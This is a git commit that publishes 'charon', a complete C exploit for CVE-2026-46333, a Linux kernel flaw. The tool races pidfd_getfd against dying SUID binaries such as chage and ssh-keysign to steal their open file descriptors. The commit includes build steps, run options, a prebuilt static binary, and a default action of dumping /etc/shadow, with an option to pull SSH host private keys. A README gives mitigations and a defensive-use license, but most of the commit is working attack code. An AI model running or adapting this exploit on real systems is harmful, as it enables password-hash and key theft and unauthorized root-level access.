charon: initial release — CVE-2026-46333 PoC
CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static.
This commit is contained in:
@@ -0,0 +1,8 @@
|
|||||||
|
charon
|
||||||
|
*.o
|
||||||
|
*.dSYM/
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
# Keep the prebuilt static binary
|
||||||
|
!charon-static
|
||||||
|
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
CHARON — research / authorized-defensive use license
|
||||||
|
======================================================
|
||||||
|
|
||||||
|
Copyright (c) 2026 Kara Zajac.
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software for the purposes of:
|
||||||
|
|
||||||
|
(a) authorized security testing of systems they own or have
|
||||||
|
written authorization to test,
|
||||||
|
(b) defensive research, including the development of detection,
|
||||||
|
mitigation, and patch-management tooling,
|
||||||
|
(c) educational use in academic or training contexts.
|
||||||
|
|
||||||
|
Use of the Software to gain unauthorized access to computer systems
|
||||||
|
or data is strictly prohibited. The recipient is solely responsible
|
||||||
|
for ensuring that their use of the Software complies with applicable
|
||||||
|
law and any contractual obligations under which their systems
|
||||||
|
operate.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
|
||||||
|
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||||
|
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||||
|
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
PROG := charon
|
||||||
|
CC ?= cc
|
||||||
|
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter
|
||||||
|
|
||||||
|
all: $(PROG)
|
||||||
|
|
||||||
|
$(PROG): charon.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
# 38KB static binary — preferred for distribution.
|
||||||
|
# Needs musl-tools on Debian/Ubuntu: sudo apt-get install musl-tools
|
||||||
|
static: charon.c
|
||||||
|
musl-gcc -static -Os -s -o $(PROG) $<
|
||||||
|
|
||||||
|
# glibc-static fallback (~700KB) if musl-tools unavailable
|
||||||
|
static-glibc: charon.c
|
||||||
|
$(CC) -static -Os -s -o $(PROG) $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(PROG)
|
||||||
|
|
||||||
|
.PHONY: all static static-glibc clean
|
||||||
@@ -0,0 +1,172 @@
|
|||||||
|
```
|
||||||
|
____ _ _ _ ____ ___ _ _
|
||||||
|
/ ___|| | | | / \ | _ \ / _ \| \ | |
|
||||||
|
| | | |_| | / _ \ | |_) | | | | \| |
|
||||||
|
| |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||||
|
\____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||||
|
|
||||||
|
ferries fds across the exit-mm() Styx
|
||||||
|
CVE-2026-46333 / Linux <= 6.12.89
|
||||||
|
```
|
||||||
|
|
||||||
|
> *"It is a fearful thing to fall into the hands of the living God."*
|
||||||
|
> — Hebrews 10:31
|
||||||
|
|
||||||
|
## What this is
|
||||||
|
|
||||||
|
A tight, dependency-free PoC for **CVE-2026-46333**: the
|
||||||
|
`__ptrace_may_access` mm==NULL bypass disclosed by Qualys on
|
||||||
|
2026-05-15. Charon races `pidfd_getfd(2)` against a dying SUID-root
|
||||||
|
process to lift its open `/etc/shadow` file descriptor through the
|
||||||
|
brief mm-NULL window in `do_exit()`. Run it as an unprivileged user
|
||||||
|
on an affected box; it dumps `/etc/shadow` to stdout.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./charon
|
||||||
|
[banner on stderr]
|
||||||
|
[*] lure /usr/bin/chage target /etc/shadow
|
||||||
|
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
|
||||||
|
daemon:*:20582:0:99999:7:::
|
||||||
|
bin:*:20582:0:99999:7:::
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
Typical hit rate: under one second on a 4-core VM, **~137 tries**
|
||||||
|
in the smoke test.
|
||||||
|
|
||||||
|
## The bug, in 30 seconds
|
||||||
|
|
||||||
|
`__ptrace_may_access()` short-circuits its dumpability check when
|
||||||
|
`task->mm == NULL`. The fast-path was written for kernel threads
|
||||||
|
(swapper et al.), which legitimately have no mm and should never be
|
||||||
|
ptraced. But `do_exit()` runs `exit_mm()` *before* `exit_files()`,
|
||||||
|
which means a userspace SUID process briefly has:
|
||||||
|
|
||||||
|
- `task->mm == NULL` (mm reaped) → dumpable check skipped
|
||||||
|
- file table still populated → fds still gettable
|
||||||
|
- creds reflect the post-`setreuid()` drop → access check passes
|
||||||
|
|
||||||
|
`pidfd_getfd(2)` trusts that access check and hands the attacker the
|
||||||
|
SUID process's open file descriptors.
|
||||||
|
|
||||||
|
```
|
||||||
|
do_exit()
|
||||||
|
├── exit_mm() ← task->mm = NULL
|
||||||
|
├── ... ← __ptrace_may_access() now lies
|
||||||
|
└── exit_files() ← fd table reaped
|
||||||
|
```
|
||||||
|
|
||||||
|
Jann Horn flagged the FD-theft shape on lore.kernel.org in October
|
||||||
|
2020. The fix sat in maintainer review for ~6 years before Qualys
|
||||||
|
brought it back to the front of the queue.
|
||||||
|
|
||||||
|
**Upstream fix:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a)
|
||||||
|
(Linus 2026-05-14). As of 2026-05-15 the backport has not landed in
|
||||||
|
linux-6.12.y or linux-6.6.y stable.
|
||||||
|
|
||||||
|
## Affected kernels
|
||||||
|
|
||||||
|
| Stable tree | Status |
|
||||||
|
|---|---|
|
||||||
|
| linux-6.12.y (≤ 6.12.89) | ❌ vulnerable |
|
||||||
|
| linux-6.6.y (pre-fix backport) | ❌ vulnerable |
|
||||||
|
| mainline ≥ 6.15-rc1 | ✅ patched (`31e62c2ebbfd`) |
|
||||||
|
|
||||||
|
| Distro | Kernel | Status (2026-05-15) |
|
||||||
|
|---|---|---|
|
||||||
|
| Debian trixie | 6.12.86+deb13 | ❌ |
|
||||||
|
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
|
||||||
|
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ check |
|
||||||
|
| Fedora 44 | 7.0.4-200 | ⚠️ check |
|
||||||
|
|
||||||
|
The PR / rolling-status table will be updated as backports land.
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# Tiny 38 KB static binary (recommended)
|
||||||
|
sudo apt-get install musl-tools
|
||||||
|
make static
|
||||||
|
|
||||||
|
# Or just the standard glibc build
|
||||||
|
make
|
||||||
|
```
|
||||||
|
|
||||||
|
Output: a single ELF `./charon`.
|
||||||
|
|
||||||
|
## Run
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./charon # dump /etc/shadow (default)
|
||||||
|
./charon -q # no banner / progress, just shadow on stdout
|
||||||
|
./charon -v # show per-hit + final stats
|
||||||
|
./charon -r 5000 # more patience for slow systems
|
||||||
|
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
|
||||||
|
./charon --help
|
||||||
|
```
|
||||||
|
|
||||||
|
### Exit codes
|
||||||
|
|
||||||
|
| Code | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| 0 | Success — file contents on stdout |
|
||||||
|
| 1 | No SUID lure on this system opens the requested file |
|
||||||
|
| 2 | Kernel appears patched (CVE-2026-46333 closed) |
|
||||||
|
| 3 | Ran out of rounds without a hit (rare; try `-r 5000`) |
|
||||||
|
| 4 | CLI / IO error |
|
||||||
|
|
||||||
|
### Lures
|
||||||
|
|
||||||
|
Charon ships with four known SUID lures:
|
||||||
|
|
||||||
|
| Binary | File it opens | Distro coverage |
|
||||||
|
|---|---|---|
|
||||||
|
| `/usr/bin/chage` (`chage -l <user>`) | `/etc/shadow` | Most Debian, Ubuntu, Fedora |
|
||||||
|
| `/usr/sbin/chage` | `/etc/shadow` | RHEL / Rocky / Alma family |
|
||||||
|
| `/usr/bin/passwd` (`passwd -S <user>`) | `/etc/shadow` | Most distros |
|
||||||
|
| `/usr/lib/openssh/ssh-keysign` | `/etc/ssh/ssh_host_*_key` | Distros with HostbasedAuthentication enabled |
|
||||||
|
|
||||||
|
Adding a lure is a 3-line edit to the `lures[]` array in `charon.c`.
|
||||||
|
|
||||||
|
## Mitigations until your distro ships the backport
|
||||||
|
|
||||||
|
- Apply `31e62c2ebbfd` directly.
|
||||||
|
- Disable `pidfd_getfd(2)` via seccomp on production hosts.
|
||||||
|
- Remove the setuid bit from `chage` and `passwd` if you do not need
|
||||||
|
unprivileged users to query password aging.
|
||||||
|
- For containerized workloads, enabling `no_new_privs` on the host
|
||||||
|
blocks the primitive entirely — every "SUID" inside the container
|
||||||
|
becomes inert, leaving Charon with no prey.
|
||||||
|
|
||||||
|
## Not a kernelctf VRP candidate
|
||||||
|
|
||||||
|
The Google kernelctf VRP challenge VM runs the player's bash inside
|
||||||
|
an `nsjail` sandbox with `clone_newuser:true` (uid 0 unmapped),
|
||||||
|
`chroot:/chroot`, and `no_new_privs:1`. Under `no_new_privs` the
|
||||||
|
setuid bit is inert, so there are no real SUID prey inside the
|
||||||
|
sandbox, and `/flag` lives on the host outside the chroot. Charon
|
||||||
|
therefore cannot win kCTF VRP. It remains a legitimate Linux LPE on
|
||||||
|
bare-metal Debian / Ubuntu / RHEL family installations.
|
||||||
|
|
||||||
|
## Provenance
|
||||||
|
|
||||||
|
- Bug discovered & disclosed by Qualys → oss-security 2026-05-15.
|
||||||
|
- Reference PoCs by [@0xdeadbeefnetwork](https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn).
|
||||||
|
- Charon rewrites the lure-and-race loop into a single hardened
|
||||||
|
binary, adds CLI ergonomics, patched-kernel auto-detection, and
|
||||||
|
per-distro lure fallback.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
Educational and authorized-defensive use only.
|
||||||
|
|
||||||
|
```
|
||||||
|
⛵ STYX ⛵
|
||||||
|
╔══════════════════════════════╗
|
||||||
|
║ do_exit(): ║
|
||||||
|
║ ├── exit_mm() ← task->mm ║
|
||||||
|
║ │ = NULL ║
|
||||||
|
║ ├── ... ← ferry ║
|
||||||
|
║ └── exit_files() ║
|
||||||
|
╚══════════════════════════════╝
|
||||||
|
```
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,311 @@
|
|||||||
|
/*
|
||||||
|
* ____ _ _ _ ____ ___ _ _
|
||||||
|
* / ___|| | | | / \ | _ \ / _ \| \ | |
|
||||||
|
* | | | |_| | / _ \ | |_) | | | | \| |
|
||||||
|
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||||
|
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||||
|
*
|
||||||
|
* ferries file descriptors across the exit-mm() Styx
|
||||||
|
* CVE-2026-46333 / Linux <= 6.12.89
|
||||||
|
*
|
||||||
|
* "It is a fearful thing to fall into the hands of the living God."
|
||||||
|
* — Hebrews 10:31
|
||||||
|
*
|
||||||
|
* Charon races pidfd_getfd(2) against a dying SUID-root process to
|
||||||
|
* lift its open /etc/shadow file descriptor through the transient
|
||||||
|
* mm-NULL window in do_exit():
|
||||||
|
*
|
||||||
|
* do_exit()
|
||||||
|
* ├── exit_mm() ← task->mm = NULL
|
||||||
|
* ├── ... ← __ptrace_may_access() now lies
|
||||||
|
* └── exit_files() ← fd table reaped
|
||||||
|
*
|
||||||
|
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
||||||
|
* never dumpable" and short-circuits the dumpable check. The dying
|
||||||
|
* userspace SUID process is briefly indistinguishable from a kernel
|
||||||
|
* thread in that test, so pidfd_getfd(2) succeeds against it and
|
||||||
|
* returns whatever fds it still has open before exit_files() runs.
|
||||||
|
*
|
||||||
|
* If the SUID binary opened /etc/shadow and then setreuid'd to the
|
||||||
|
* attacker uid before exiting, Charon walks home with the fd.
|
||||||
|
*
|
||||||
|
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
||||||
|
* Disclosure: Qualys → oss-security 2026-05-15
|
||||||
|
* Educational and authorized-defensive use only.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <getopt.h>
|
||||||
|
|
||||||
|
#ifndef __NR_pidfd_open
|
||||||
|
#define __NR_pidfd_open 434
|
||||||
|
#endif
|
||||||
|
#ifndef __NR_pidfd_getfd
|
||||||
|
#define __NR_pidfd_getfd 438
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define CHARON_VERSION "1.0.0"
|
||||||
|
|
||||||
|
static const char BANNER[] =
|
||||||
|
"\n"
|
||||||
|
" ____ _ _ _ ____ ___ _ _\n"
|
||||||
|
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
|
||||||
|
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
|
||||||
|
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
|
||||||
|
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
|
||||||
|
"\n"
|
||||||
|
" ferries fds across the exit-mm() Styx\n"
|
||||||
|
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
||||||
|
"\n";
|
||||||
|
|
||||||
|
/* A lure is a SUID-root binary that opens FILE before dropping uid
|
||||||
|
* and exiting. invoking ARGV makes it open FILE deterministically. */
|
||||||
|
struct lure {
|
||||||
|
const char *path;
|
||||||
|
const char *file;
|
||||||
|
const char *const argv[5];
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct lure lures[] = {
|
||||||
|
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
|
||||||
|
* via SUID-root on RHEL family. Either way we ride the elevation. */
|
||||||
|
{ "/usr/bin/chage", "/etc/shadow",
|
||||||
|
{ "chage", "-l", "root", NULL } },
|
||||||
|
{ "/usr/sbin/chage", "/etc/shadow",
|
||||||
|
{ "chage", "-l", "root", NULL } },
|
||||||
|
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
|
||||||
|
* is enabled; newer builds bail early but still open the file first. */
|
||||||
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
||||||
|
{ "ssh-keysign", NULL } },
|
||||||
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
||||||
|
{ "ssh-keysign", NULL } },
|
||||||
|
{ NULL, NULL, { NULL } }
|
||||||
|
};
|
||||||
|
|
||||||
|
/* CLI state */
|
||||||
|
static const char *opt_target = NULL;
|
||||||
|
static int opt_quiet = 0;
|
||||||
|
static int opt_verbose = 0;
|
||||||
|
static int opt_rounds = 500;
|
||||||
|
static int opt_inner = 30000;
|
||||||
|
|
||||||
|
static unsigned long stat_forks = 0;
|
||||||
|
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
||||||
|
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
|
||||||
|
static unsigned long stat_target_hits = 0; /* matched want_file */
|
||||||
|
|
||||||
|
static void
|
||||||
|
msg(const char *prefix, const char *fmt, ...)
|
||||||
|
{
|
||||||
|
if (opt_quiet) return;
|
||||||
|
va_list ap;
|
||||||
|
fprintf(stderr, "%s ", prefix);
|
||||||
|
va_start(ap, fmt);
|
||||||
|
vfprintf(stderr, fmt, ap);
|
||||||
|
va_end(ap);
|
||||||
|
fputc('\n', stderr);
|
||||||
|
fflush(stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
dump_fd(int fd)
|
||||||
|
{
|
||||||
|
char buf[8192];
|
||||||
|
ssize_t n;
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
while ((n = read(fd, buf, sizeof(buf))) > 0) {
|
||||||
|
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
fflush(stdout);
|
||||||
|
return n < 0 ? -1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
lure_present(const struct lure *l)
|
||||||
|
{
|
||||||
|
struct stat st;
|
||||||
|
if (stat(l->path, &st) != 0) return 0;
|
||||||
|
/* Accept SUID-anything OR SGID-anything — both trigger the
|
||||||
|
* dumpable flag in execve which is exactly the protection that
|
||||||
|
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
|
||||||
|
* shadow (not SUID root); on RHEL family chage is SUID root. */
|
||||||
|
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Returns 0 on success (file contents on stdout). Negative codes:
|
||||||
|
* -ENOENT lure binary missing / no setuid|setgid
|
||||||
|
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
|
||||||
|
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
|
||||||
|
static int
|
||||||
|
hunt(const struct lure *l, const char *want_file)
|
||||||
|
{
|
||||||
|
if (!lure_present(l)) return -ENOENT;
|
||||||
|
|
||||||
|
msg("[*]", "lure %s target %s", l->path, want_file);
|
||||||
|
|
||||||
|
unsigned long getfd_ok_before = stat_getfd_ok;
|
||||||
|
|
||||||
|
for (int round = 0; round < opt_rounds; round++) {
|
||||||
|
pid_t c = fork();
|
||||||
|
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
|
||||||
|
|
||||||
|
if (c == 0) {
|
||||||
|
int dn = open("/dev/null", O_RDWR);
|
||||||
|
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
||||||
|
execv(l->path, (char *const *)l->argv);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
stat_forks++;
|
||||||
|
|
||||||
|
int pfd = syscall(__NR_pidfd_open, c, 0);
|
||||||
|
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||||
|
|
||||||
|
int got = -1;
|
||||||
|
|
||||||
|
for (int a = 0; a < opt_inner && got < 0; a++) {
|
||||||
|
for (int i = 3; i < 32; i++) {
|
||||||
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||||
|
stat_getfds++;
|
||||||
|
if (s < 0) continue;
|
||||||
|
|
||||||
|
stat_getfd_ok++; /* the bug worked at least at the syscall level */
|
||||||
|
|
||||||
|
char p[512] = {0}, lk[64];
|
||||||
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||||
|
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||||
|
if (n > 0) p[n] = 0;
|
||||||
|
|
||||||
|
if (strstr(p, want_file)) {
|
||||||
|
if (opt_verbose)
|
||||||
|
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
|
||||||
|
got = s;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (got >= 0) {
|
||||||
|
stat_target_hits++;
|
||||||
|
int rc = dump_fd(got);
|
||||||
|
close(got);
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
if (opt_verbose)
|
||||||
|
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
|
||||||
|
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
||||||
|
return rc;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(pfd);
|
||||||
|
waitpid(c, NULL, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* If pidfd_getfd never succeeded against this lure, the primitive
|
||||||
|
* is closed for this binary — likely a patched kernel. */
|
||||||
|
if (stat_getfd_ok == getfd_ok_before)
|
||||||
|
return -EPERM;
|
||||||
|
return -ETIME;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
usage(const char *prog)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
|
||||||
|
"\n"
|
||||||
|
"Usage: %s [options]\n"
|
||||||
|
"\n"
|
||||||
|
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
||||||
|
" -r, --rounds N max rounds per lure (default: 500)\n"
|
||||||
|
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
|
||||||
|
" -q, --quiet no banner, no progress\n"
|
||||||
|
" -v, --verbose per-hit + final stats\n"
|
||||||
|
" --version print version and exit\n"
|
||||||
|
" -h, --help this help\n"
|
||||||
|
"\n"
|
||||||
|
"Exit codes:\n"
|
||||||
|
" 0 success — file contents on stdout\n"
|
||||||
|
" 1 no built-in lure on this system opens the requested file\n"
|
||||||
|
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
||||||
|
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
||||||
|
" 4 CLI / IO error\n"
|
||||||
|
"\n"
|
||||||
|
"For authorized security testing and defensive research only.\n",
|
||||||
|
CHARON_VERSION, prog);
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
static const struct option opts[] = {
|
||||||
|
{"target", required_argument, 0, 't'},
|
||||||
|
{"rounds", required_argument, 0, 'r'},
|
||||||
|
{"inner", required_argument, 0, 'i'},
|
||||||
|
{"quiet", no_argument, 0, 'q'},
|
||||||
|
{"verbose", no_argument, 0, 'v'},
|
||||||
|
{"version", no_argument, 0, 1 },
|
||||||
|
{"help", no_argument, 0, 'h'},
|
||||||
|
{0,0,0,0}
|
||||||
|
};
|
||||||
|
|
||||||
|
int o;
|
||||||
|
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
|
||||||
|
switch (o) {
|
||||||
|
case 't': opt_target = optarg; break;
|
||||||
|
case 'r': opt_rounds = atoi(optarg); break;
|
||||||
|
case 'i': opt_inner = atoi(optarg); break;
|
||||||
|
case 'q': opt_quiet = 1; break;
|
||||||
|
case 'v': opt_verbose = 1; break;
|
||||||
|
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
||||||
|
case 'h': usage(argv[0]); return 0;
|
||||||
|
default : usage(argv[0]); return 4;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!opt_target) opt_target = "/etc/shadow";
|
||||||
|
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
||||||
|
|
||||||
|
if (!opt_quiet) fputs(BANNER, stderr);
|
||||||
|
|
||||||
|
/* Iterate lures whose `file` matches what the user asked for. */
|
||||||
|
int any_present = 0, all_appear_patched = 1;
|
||||||
|
for (const struct lure *l = lures; l->path; l++) {
|
||||||
|
if (strcmp(l->file, opt_target) != 0) continue;
|
||||||
|
if (!lure_present(l)) continue;
|
||||||
|
any_present = 1;
|
||||||
|
|
||||||
|
int rc = hunt(l, opt_target);
|
||||||
|
if (rc == 0) return 0;
|
||||||
|
if (rc != -EPERM) all_appear_patched = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!any_present) {
|
||||||
|
msg("[!]", "no built-in lure on this system opens %s", opt_target);
|
||||||
|
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
|
||||||
|
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (all_appear_patched && stat_getfd_ok == 0) {
|
||||||
|
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
|
||||||
|
stat_getfds, stat_forks);
|
||||||
|
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
||||||
|
stat_getfd_ok, opt_target);
|
||||||
|
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user